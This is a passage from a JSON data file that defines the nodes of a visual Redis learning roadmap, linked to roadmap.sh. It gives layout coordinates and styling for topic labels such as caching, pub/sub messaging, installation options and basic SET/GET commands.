\"type\": \"title\",\n      \"position\": {\n        \"x\": -309.00281520804924,\n        \"y\": -112.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 68,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 68.00001525878906\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -309.00281520804924,\n        \"y\": -112.59925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"EskmevvtPn-NlUQf39-6X\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -240.1381872719934,\n        \"y\": -182.5992517776511\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 70,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 70\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.1381872719934,\n        \"y\": -182.5992517776511\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 70\n      }\n    },\n    {\n      \"id\": \"-3pADOHMDQ0H6ZKNjURyn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -330.50281520804924,\n        \"y\": 16.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Redis?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OKW1e0f3kQ_wCb97ztjIN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -330.50281520804924,\n        \"y\": 16.5\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M-EXrTDeAEMz_IkEi-ab4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.1381872719934,\n        \"y\": -149.5992517776511\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"In-memory Data Structure Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eHuBz_zSZK3rubn7nkd7g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.1381872719934,\n        \"y\": -149.5992517776511\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l2aXyO3STnhbFjvUXPpm2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.1381872719934,\n        \"y\": -96.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key-value Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eHuBz_zSZK3rubn7nkd7g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.1381872719934,\n        \"y\": -96.59925177765109\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eHuBz_zSZK3rubn7nkd7g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -575.1381872719934,\n        \"y\": -96.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -575.1381872719934,\n        \"y\": -96.59925177765109\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mgGJTBU8ofvOzl9gYWhnG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.1381872719934,\n        \"y\": -42.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Message Broker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"M-EXrTDeAEMz_IkEi-ab4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.1381872719934,\n        \"y\": -42.59925177765109\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y1xDM_ZweG4IhlwvNK0bA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -757.1381872719934,\n        \"y\": -190.5992517776511\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Overview of Redis / What is it?\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -757.1381872719934,\n        \"y\": -190.5992517776511\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"pwGAa63okLFOBb1g7-fL5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -698.6381872719934,\n        \"y\": 24.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Core Use Cases\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Y1xDM_ZweG4IhlwvNK0bA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -698.6381872719934,\n        \"y\": 24.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-TjnSOY8txYrhhxRV1OIl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.1381872719934,\n        \"y\": 63.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.1381872719934,\n        \"y\": 63.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bVJASI7bfSYqYnNhX83ng\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -675.1381872719934,\n        \"y\": 63.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Real-time Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-TjnSOY8txYrhhxRV1OIl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -675.1381872719934,\n        \"y\": 63.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"URxGmhZHr0Y8nyrYj0gJl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.6381872719934,\n        \"y\": 116.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Session Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bVJASI7bfSYqYnNhX83ng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.6381872719934,\n        \"y\": 116.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZCyId3aIoLv3duxoJdk2P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.6381872719934,\n        \"y\": 169.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pub/Sub Messaging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"URxGmhZHr0Y8nyrYj0gJl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.6381872719934,\n        \"y\": 169.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fv1iGX22sApIEifM2IpJz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -781.6381872719934,\n        \"y\": 222.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Leaderboards and Counters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZCyId3aIoLv3duxoJdk2P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -781.6381872719934,\n        \"y\": 222.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SQ0078nMNlCtgNgHIJsU1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -687.1381872719935,\n        \"y\": 294.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Features\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -687.1381872719935,\n        \"y\": 294.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"8uRpPJ0iD4XnQPKruQc8P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -778.6381872719935,\n        \"y\": 334.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Persistence Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300\n      },\n      \"positionAbsolute\": {\n        \"x\": -778.6381872719935,\n        \"y\": 334.4007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uVewcyaFi1Pt2Gs0KrkfA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -778.6381872719935,\n        \"y\": 387.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Rich Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300\n      },\n      \"positionAbsolute\": {\n        \"x\": -778.6381872719935,\n        \"y\": 387.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5-3pd4rLDqRzMzSRVLdXh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -778.6381872719935,\n        \"y\": 440.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"High Performance and Scalability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -778.6381872719935,\n        \"y\": 440.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"leY33Yw_exuUP5_UX9gcP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -465.1381872719935,\n        \"y\": -178.5992517776511\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 666,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 666\n      },\n      \"positionAbsolute\": {\n        \"x\": -465.1381872719935,\n        \"y\": -178.5992517776511\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 666\n      }\n    },\n    {\n      \"id\": \"EvWiEx_AoxAht6sKxzW2l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.3618127280066119,\n        \"y\": 67.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis vs SQL/NoSQL DBs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.3618127280066119,\n        \"y\": 67.40074822234891\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Af5H0BgdAsRdBCNdHz5v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.3618127280066119,\n        \"y\": 120.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"When to choose Redis?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EvWiEx_AoxAht6sKxzW2l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.3618127280066119,\n        \"y\": 120.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -41.50281520804924,\n        \"y\": -193.15106699547107\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": -41.50281520804924,\n        \"y\": -193.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -31.502815208049242,\n        \"y\": -114.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -31.502815208049242,\n        \"y\": -114.59925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SGtXqkHKfGO0nQdrVzjdg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -325.50281520804924,\n        \"y\": 276.99999999999994\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installing Redis Locally\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"pa2QJLhAv3SPRK_2XcMZx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -325.50281520804924,\n        \"y\": 276.99999999999994\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Bf_kLfmy7_uflqC9N0-jt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -351.50281520804924,\n        \"y\": 316\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -351.50281520804924,\n        \"y\": 316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yBZ79s6mzGdj5AnX2H_Hy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -351.50281520804924,\n        \"y\": 368.99999999999994\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pre-compiled Binaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -351.50281520804924,\n        \"y\": 368.99999999999994\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TDxv0q7jlZ26uZYYlneem\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -351.50281520804924,\n        \"y\": 421.99999999999994\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -351.50281520804924,\n        \"y\": 421.99999999999994\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gw04IG5uImCHxcFnOAAwy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -374.1381872719934,\n        \"y\": 136.5066900921993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Getting Started with Redis\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 60\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -374.1381872719934,\n        \"y\": 136.5066900921993\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"QXwoHEeisL4d6dpJOwYkU\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -1.0028152080492418,\n        \"y\": 11\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis vs Other Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"gw04IG5uImCHxcFnOAAwy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 60\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -1.0028152080492418,\n        \"y\": 11\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"nyVArH57QoeDASnYvEk3L\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 63.44997804720737,\n        \"y\": 274.8898756040034\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Running Redis\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 63.44997804720737,\n        \"y\": 274.8898756040034\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"43LvShQhmoWQ8Nye7fLkz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -6.550021952792633,\n        \"y\": 313.46761791240385\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Starting the Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.550021952792633,\n        \"y\": 313.46761791240385\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BOGXTjmCLo6WI6mYDsqRu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -6.550021952792633,\n        \"y\": 366.46761791240385\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Connecting using Redis CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.550021952792633,\n        \"y\": 366.46761791240385\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NhcZM4nUQoSBBf_1qXi6l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -6.550021952792633,\n        \"y\": 419.46761791240385\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Commands / SET, GET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.550021952792633,\n        \"y\": 419.46761791240385\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GjKw6hbNV57I2sxuLfkQw\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 50.987555614282826,\n        \"y\": 536.2610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"First Steps\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"gw04IG5uImCHxcFnOAAwy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 65\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 50.987555614282826,\n        \"y\": 536.2610824325313\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"WYVzXLmj_TmqnX3ANzKj7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -302.00281520804924,\n        \"y\": 550.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Data Operations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -302.00281520804924,\n        \"y\": 550.7610824325313\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"DOdNkTY1yIMipWA2CD9xH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -349.00281520804924,\n        \"y\": 591.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \" and Getting Keys\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -349.00281520804924,\n        